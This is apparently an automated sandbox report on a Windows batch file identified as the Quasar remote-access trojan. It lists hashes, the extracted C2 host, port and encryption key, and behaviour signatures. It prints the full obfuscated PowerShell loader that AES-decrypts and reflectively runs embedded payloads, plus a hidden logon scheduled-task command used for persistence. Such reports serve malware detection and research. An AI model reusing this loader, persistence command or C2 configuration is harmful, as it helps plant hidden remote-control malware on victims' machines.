Analysis
-
max time kernel
299s -
max time network
205s -
platform
windows10-2004_x64 -
resource
win10v2004-20240508-en -
resource tags
arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system -
submitted
12-05-2024 15:08
Static task
static1
Behavioral task
behavioral1
Sample
Client-built.bat
Resource
win10-20240404-en
Behavioral task
behavioral2
Sample
Client-built.bat
Resource
win10v2004-20240508-en
General
-
Target
Client-built.bat
-
Size
1.9MB
-
MD5
ca98faeecf7f69f417e6b8e706986b2e
-
SHA1
2ed0d04b476658f57e50b86dba53cdc0edb379e8
-
SHA256
69d3f18cd40fe951e863d6f7cb34f623ae1f169a030c166efd713630744b14da
-
SHA512
ad3a6e51492f68bf623b08d01d8d9cc9bc58a6496e04c734ddacd2be120987f56ff228bf24f92a67aff408d801a670cfbb83564907219523776b7a8263b41d64
-
SSDEEP
24576:DqPPl9YNqSrDNfqgg4edWKa1tpD0jH3F8DbFkBNKUXuiFgZULkB4VmVc0i6MwGxb:W1cqzx/WOrBSkQJ8b
Malware Config
Extracted
quasar
1.0.0
New
even-lemon.gl.at.ply.gg:33587
2bce5514-d527-4787-825c-3042f9dd5ede
-
encryption_key
501DB7A849356BF2C272A70D53FAF39F17D4245C
-
install_name
WinHost32.exe
-
log_directory
UpdateLogs
-
reconnect_delay
3000
-
startup_key
Powershell
-
subdirectory
System32
Signatures
-
Quasar payload 1 IoCs
Processes:
resource yara_rule behavioral2/memory/1984-145-0x000001E4DDE60000-0x000001E4DE17E000-memory.dmp family_quasar -
Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs
Run Powershell and hide display window.
Processes:
powershell.exepowershell.exepowershell.exepid process 2956 powershell.exe 3616 powershell.exe 1984 powershell.exe -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
Processes:
WScript.exedescription ioc process Key value queried \REGISTRY\USER\S-1-5-21-3558294865-3673844354-2255444939-1000\Control Panel\International\Geo\Nation WScript.exe -
Executes dropped EXE 1 IoCs
Processes:
WinHost32.exepid process 5016 WinHost32.exe -
Drops file in System32 directory 4 IoCs
Processes:
svchost.exesvchost.exedescription ioc process File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\57C8EDB95DF3F0AD4EE2DC2B8CFD4157 svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\FB0D848F74F70BB2EAA93746D24D9749 svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\FB0D848F74F70BB2EAA93746D24D9749 svchost.exe File opened for modification C:\Windows\System32\Tasks\Powershell svchost.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
-
Modifies data under HKEY_USERS 41 IoCs
Processes:
svchost.exesvchost.exedescription ioc process Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\Disallowed svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\Disallowed\CRLs svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\Disallowed\Certificates svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs svchost.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\CA\CTLs svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\SmartCardRoot\CTLs svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\trust\Certificates svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\trust\CTLs svchost.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\CA svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\Disallowed\CTLs svchost.exe Key created \REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\Disallowed svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\Root\CRLs svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\Disallowed\Certificates svchost.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\Root svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\Root\CTLs svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\SmartCardRoot\CRLs svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\trust\CRLs svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\CA\Certificates svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\CA\CTLs svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\Disallowed\CTLs svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\TrustedPeople\Certificates svchost.exe Key created \REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\TrustedPeople svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\trust\CTLs svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\CA\CRLs svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\CA\Certificates svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\CA\CRLs svchost.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\trust svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\trust\CRLs svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\TrustedPeople\CTLs svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs svchost.exe Key created \REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\CA svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\Disallowed\CRLs svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\Root\Certificates svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\SmartCardRoot\Certificates svchost.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\TrustedPeople svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\TrustedPeople\CRLs svchost.exe Key created \REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\trust svchost.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\SmartCardRoot svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\trust\Certificates svchost.exe -
Modifies registry class 15 IoCs
Processes:
svchost.exepowershell.exedescription ioc process Key created \REGISTRY\USER\S-1-5-21-3558294865-3673844354-2255444939-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.Search_cw5n1h2txyewy svchost.exe Key created \REGISTRY\USER\S-1-5-21-3558294865-3673844354-2255444939-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy svchost.exe Set value (int) \REGISTRY\USER\S-1-5-21-3558294865-3673844354-2255444939-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\HAM\AUI\App\V1\LU\PCT = "133600001393033666" svchost.exe Set value (int) \REGISTRY\USER\S-1-5-21-3558294865-3673844354-2255444939-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\HAM\AUI\App\V1\LU\PTT = "133600001406471124" svchost.exe Set value (int) \REGISTRY\USER\S-1-5-21-3558294865-3673844354-2255444939-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.Search_cw5n1h2txyewy\HAM\AUI\CortanaUI\V1\LU\PCT = "133596409372376066" svchost.exe Key created \REGISTRY\USER\S-1-5-21-3558294865-3673844354-2255444939-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\HAM\AUI svchost.exe Key created \REGISTRY\USER\S-1-5-21-3558294865-3673844354-2255444939-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\HAM\AUI\App\V1 svchost.exe Key created \REGISTRY\USER\S-1-5-21-3558294865-3673844354-2255444939-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.Search_cw5n1h2txyewy\HAM\AUI\CortanaUI\V1 svchost.exe Key created \REGISTRY\USER\S-1-5-21-3558294865-3673844354-2255444939-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.Search_cw5n1h2txyewy\HAM\AUI\CortanaUI svchost.exe Key created \REGISTRY\USER\S-1-5-21-3558294865-3673844354-2255444939-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.Search_cw5n1h2txyewy\HAM\AUI\CortanaUI\V1\LU svchost.exe Set value (int) \REGISTRY\USER\S-1-5-21-3558294865-3673844354-2255444939-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.Search_cw5n1h2txyewy\HAM\AUI\CortanaUI\V1\LU\ICT = "133596409374457691" svchost.exe Key created \REGISTRY\USER\S-1-5-21-3558294865-3673844354-2255444939-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\HAM\AUI\App svchost.exe Key created \REGISTRY\USER\S-1-5-21-3558294865-3673844354-2255444939-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\HAM\AUI\App\V1\LU svchost.exe Key created \REGISTRY\USER\S-1-5-21-3558294865-3673844354-2255444939-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.Search_cw5n1h2txyewy\HAM\AUI svchost.exe Key created \REGISTRY\USER\S-1-5-21-3558294865-3673844354-2255444939-1000_Classes\Local Settings powershell.exe -
Suspicious behavior: EnumeratesProcesses 22 IoCs
Processes:
powershell.exepowershell.exepowershell.exeWinHost32.exepid process 2956 powershell.exe 2956 powershell.exe 3616 powershell.exe 3616 powershell.exe 1984 powershell.exe 1984 powershell.exe 1984 powershell.exe 1984 powershell.exe 1984 powershell.exe 1984 powershell.exe 1984 powershell.exe 1984 powershell.exe 1984 powershell.exe 1984 powershell.exe 1984 powershell.exe 1984 powershell.exe 1984 powershell.exe 1984 powershell.exe 1984 powershell.exe 1984 powershell.exe 5016 WinHost32.exe 5016 WinHost32.exe -
Suspicious use of AdjustPrivilegeToken 64 IoCs
Processes:
powershell.exepowershell.exedescription pid process Token: SeDebugPrivilege 2956 powershell.exe Token: SeDebugPrivilege 3616 powershell.exe Token: SeIncreaseQuotaPrivilege 3616 powershell.exe Token: SeSecurityPrivilege 3616 powershell.exe Token: SeTakeOwnershipPrivilege 3616 powershell.exe Token: SeLoadDriverPrivilege 3616 powershell.exe Token: SeSystemProfilePrivilege 3616 powershell.exe Token: SeSystemtimePrivilege 3616 powershell.exe Token: SeProfSingleProcessPrivilege 3616 powershell.exe Token: SeIncBasePriorityPrivilege 3616 powershell.exe Token: SeCreatePagefilePrivilege 3616 powershell.exe Token: SeBackupPrivilege 3616 powershell.exe Token: SeRestorePrivilege 3616 powershell.exe Token: SeShutdownPrivilege 3616 powershell.exe Token: SeDebugPrivilege 3616 powershell.exe Token: SeSystemEnvironmentPrivilege 3616 powershell.exe Token: SeRemoteShutdownPrivilege 3616 powershell.exe Token: SeUndockPrivilege 3616 powershell.exe Token: SeManageVolumePrivilege 3616 powershell.exe Token: 33 3616 powershell.exe Token: 34 3616 powershell.exe Token: 35 3616 powershell.exe Token: 36 3616 powershell.exe Token: SeIncreaseQuotaPrivilege 3616 powershell.exe Token: SeSecurityPrivilege 3616 powershell.exe Token: SeTakeOwnershipPrivilege 3616 powershell.exe Token: SeLoadDriverPrivilege 3616 powershell.exe Token: SeSystemProfilePrivilege 3616 powershell.exe Token: SeSystemtimePrivilege 3616 powershell.exe Token: SeProfSingleProcessPrivilege 3616 powershell.exe Token: SeIncBasePriorityPrivilege 3616 powershell.exe Token: SeCreatePagefilePrivilege 3616 powershell.exe Token: SeBackupPrivilege 3616 powershell.exe Token: SeRestorePrivilege 3616 powershell.exe Token: SeShutdownPrivilege 3616 powershell.exe Token: SeDebugPrivilege 3616 powershell.exe Token: SeSystemEnvironmentPrivilege 3616 powershell.exe Token: SeRemoteShutdownPrivilege 3616 powershell.exe Token: SeUndockPrivilege 3616 powershell.exe Token: SeManageVolumePrivilege 3616 powershell.exe Token: 33 3616 powershell.exe Token: 34 3616 powershell.exe Token: 35 3616 powershell.exe Token: 36 3616 powershell.exe Token: SeIncreaseQuotaPrivilege 3616 powershell.exe Token: SeSecurityPrivilege 3616 powershell.exe Token: SeTakeOwnershipPrivilege 3616 powershell.exe Token: SeLoadDriverPrivilege 3616 powershell.exe Token: SeSystemProfilePrivilege 3616 powershell.exe Token: SeSystemtimePrivilege 3616 powershell.exe Token: SeProfSingleProcessPrivilege 3616 powershell.exe Token: SeIncBasePriorityPrivilege 3616 powershell.exe Token: SeCreatePagefilePrivilege 3616 powershell.exe Token: SeBackupPrivilege 3616 powershell.exe Token: SeRestorePrivilege 3616 powershell.exe Token: SeShutdownPrivilege 3616 powershell.exe Token: SeDebugPrivilege 3616 powershell.exe Token: SeSystemEnvironmentPrivilege 3616 powershell.exe Token: SeRemoteShutdownPrivilege 3616 powershell.exe Token: SeUndockPrivilege 3616 powershell.exe Token: SeManageVolumePrivilege 3616 powershell.exe Token: 33 3616 powershell.exe Token: 34 3616 powershell.exe Token: 35 3616 powershell.exe -
Suspicious use of UnmapMainImage 1 IoCs
Processes:
Explorer.EXEpid process 3476 Explorer.EXE -
Suspicious use of WriteProcessMemory 64 IoCs
Processes:
cmd.exepowershell.exeWScript.execmd.exepowershell.exedescription pid process target process PID 4480 wrote to memory of 1508 4480 cmd.exe cmd.exe PID 4480 wrote to memory of 1508 4480 cmd.exe cmd.exe PID 4480 wrote to memory of 2956 4480 cmd.exe powershell.exe PID 4480 wrote to memory of 2956 4480 cmd.exe powershell.exe PID 2956 wrote to memory of 3616 2956 powershell.exe powershell.exe PID 2956 wrote to memory of 3616 2956 powershell.exe powershell.exe PID 2956 wrote to memory of 3580 2956 powershell.exe WScript.exe PID 2956 wrote to memory of 3580 2956 powershell.exe WScript.exe PID 3580 wrote to memory of 1092 3580 WScript.exe cmd.exe PID 3580 wrote to memory of 1092 3580 WScript.exe cmd.exe PID 1092 wrote to memory of 2512 1092 cmd.exe cmd.exe PID 1092 wrote to memory of 2512 1092 cmd.exe cmd.exe PID 1092 wrote to memory of 1984 1092 cmd.exe powershell.exe PID 1092 wrote to memory of 1984 1092 cmd.exe powershell.exe PID 1984 wrote to memory of 3476 1984 powershell.exe Explorer.EXE PID 1984 wrote to memory of 1864 1984 powershell.exe svchost.exe PID 1984 wrote to memory of 1180 1984 powershell.exe svchost.exe PID 1984 wrote to memory of 1400 1984 powershell.exe svchost.exe PID 1984 wrote to memory of 780 1984 powershell.exe svchost.exe PID 1984 wrote to memory of 4912 1984 powershell.exe svchost.exe PID 1984 wrote to memory of 2744 1984 powershell.exe svchost.exe PID 1984 wrote to memory of 1756 1984 powershell.exe svchost.exe PID 1984 wrote to memory of 1948 1984 powershell.exe svchost.exe PID 1984 wrote to memory of 1356 1984 powershell.exe svchost.exe PID 1984 wrote to memory of 1956 1984 powershell.exe svchost.exe PID 1984 wrote to memory of 1736 1984 powershell.exe svchost.exe PID 1984 wrote to memory of 1536 1984 powershell.exe svchost.exe PID 1984 wrote to memory of 3308 1984 powershell.exe svchost.exe PID 1984 wrote to memory of 1528 1984 powershell.exe svchost.exe PID 1984 wrote to memory of 736 1984 powershell.exe svchost.exe PID 1984 wrote to memory of 1320 1984 powershell.exe svchost.exe PID 1984 wrote to memory of 1512 1984 powershell.exe svchost.exe PID 1984 wrote to memory of 1708 1984 powershell.exe svchost.exe PID 1984 wrote to memory of 1700 1984 powershell.exe svchost.exe PID 1984 wrote to memory of 2884 1984 powershell.exe svchost.exe PID 1984 wrote to memory of 912 1984 powershell.exe svchost.exe PID 1984 wrote to memory of 1108 1984 powershell.exe svchost.exe PID 1984 wrote to memory of 1096 1984 powershell.exe svchost.exe PID 1984 wrote to memory of 2868 1984 powershell.exe svchost.exe PID 1984 wrote to memory of 1684 1984 powershell.exe svchost.exe PID 1984 wrote to memory of 2076 1984 powershell.exe svchost.exe PID 1984 wrote to memory of 892 1984 powershell.exe svchost.exe PID 1984 wrote to memory of 1888 1984 powershell.exe svchost.exe PID 1984 wrote to memory of 2652 1984 powershell.exe svchost.exe PID 1984 wrote to memory of 2644 1984 powershell.exe svchost.exe PID 1984 wrote to memory of 1264 1984 powershell.exe svchost.exe PID 1984 wrote to memory of 4612 1984 powershell.exe svchost.exe PID 1984 wrote to memory of 1064 1984 powershell.exe svchost.exe PID 1984 wrote to memory of 948 1984 powershell.exe svchost.exe PID 1984 wrote to memory of 3604 1984 powershell.exe svchost.exe PID 1984 wrote to memory of 3404 1984 powershell.exe svchost.exe PID 1984 wrote to memory of 2220 1984 powershell.exe svchost.exe PID 1984 wrote to memory of 2808 1984 powershell.exe svchost.exe PID 1984 wrote to memory of 2212 1984 powershell.exe svchost.exe PID 1984 wrote to memory of 2796 1984 powershell.exe svchost.exe PID 1984 wrote to memory of 2596 1984 powershell.exe svchost.exe PID 1984 wrote to memory of 1408 1984 powershell.exe svchost.exe PID 1984 wrote to memory of 2188 1984 powershell.exe svchost.exe PID 1984 wrote to memory of 1792 1984 powershell.exe svchost.exe PID 1984 wrote to memory of 1200 1984 powershell.exe svchost.exe PID 1984 wrote to memory of 1812 1984 powershell.exe schtasks.exe PID 1984 wrote to memory of 1812 1984 powershell.exe schtasks.exe PID 1984 wrote to memory of 5016 1984 powershell.exe WinHost32.exe PID 1984 wrote to memory of 5016 1984 powershell.exe WinHost32.exe -
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k DcomLaunch -p1⤵
- Modifies registry class
PID:780 -
C:\Windows\system32\backgroundTaskHost.exe"C:\Windows\system32\backgroundTaskHost.exe" -ServerName:App.AppXmtcan0h2tfbfy7k9kn8hbxb6dmzz1zh0.mca2⤵PID:4136
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k RPCSS -p1⤵PID:892
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM1⤵PID:948
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc1⤵PID:736
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNoNetwork -p1⤵PID:912
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts1⤵PID:1064
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService1⤵PID:1096
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc1⤵PID:1108
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule1⤵
- Drops file in System32 directory
PID:1180
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog1⤵PID:1200
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc1⤵PID:1264
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc1⤵PID:1320
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s nsi1⤵PID:1356
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager1⤵PID:1400
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp1⤵PID:1512
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k netsvcs -p -s Themes1⤵PID:1528
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem1⤵PID:1536
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s SENS1⤵PID:1684
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k NetworkService -p -s NlaSvc1⤵PID:1708
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalService -p -s netprofm1⤵PID:1756
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder1⤵PID:1792
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p1⤵PID:1864
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkService -p -s Dnscache1⤵PID:1948
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p1⤵PID:1956
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection1⤵PID:1408
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository1⤵PID:1736
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt1⤵PID:2076
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNoNetworkFirewall -p1⤵PID:2188
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc1⤵PID:2212
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation1⤵PID:2220
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc1⤵PID:2596
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT1⤵PID:2644
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent1⤵PID:2652
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkService -p -s CryptSvc1⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
PID:2744
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s TokenBroker1⤵PID:2796
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer1⤵PID:2808
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks1⤵PID:2868
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService1⤵PID:2884
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc1⤵PID:3308
-
C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵
- Suspicious use of UnmapMainImage
PID:3476 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\Client-built.bat"2⤵
- Suspicious use of WriteProcessMemory
PID:4480 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('LfcFzG8RsgFQuzCbge5AZWKnjDyvcb7J2DMyfnjW+WE='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('t0LkWuaxKmd71m5FdnY80w=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $vGXxC=New-Object System.IO.MemoryStream(,$param_var); $MJyez=New-Object System.IO.MemoryStream; $GEiaV=New-Object System.IO.Compression.GZipStream($vGXxC, [IO.Compression.CompressionMode]::Decompress); $GEiaV.CopyTo($MJyez); $GEiaV.Dispose(); $vGXxC.Dispose(); $MJyez.Dispose(); $MJyez.ToArray();}function execute_function($param_var,$param2_var){ $wRrOX=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $JYzvg=$wRrOX.EntryPoint; $JYzvg.Invoke($null, $param2_var);}$BMtWH = 'C:\Users\Admin\AppData\Local\Temp\Client-built.bat';$host.UI.RawUI.WindowTitle = $BMtWH;$VjJUr=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($BMtWH).Split([Environment]::NewLine);foreach ($buUQD in $VjJUr) { if ($buUQD.StartsWith('ZyCIkpbtJnSamEKtqvbb')) { $OKyUT=$buUQD.Substring(20); break; }}$payloads_var=[string[]]$OKyUT.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "3⤵PID:1508
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden3⤵
- Command and Scripting Interpreter: PowerShell
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2956 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName '$phantom-RuntimeBroker_startup_662_str' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\$phantom-startup_str_662.vbs') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3616 -
C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\$phantom-startup_str_662.vbs"4⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:3580 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\$phantom-startup_str_662.bat" "5⤵
- Suspicious use of WriteProcessMemory
PID:1092 -
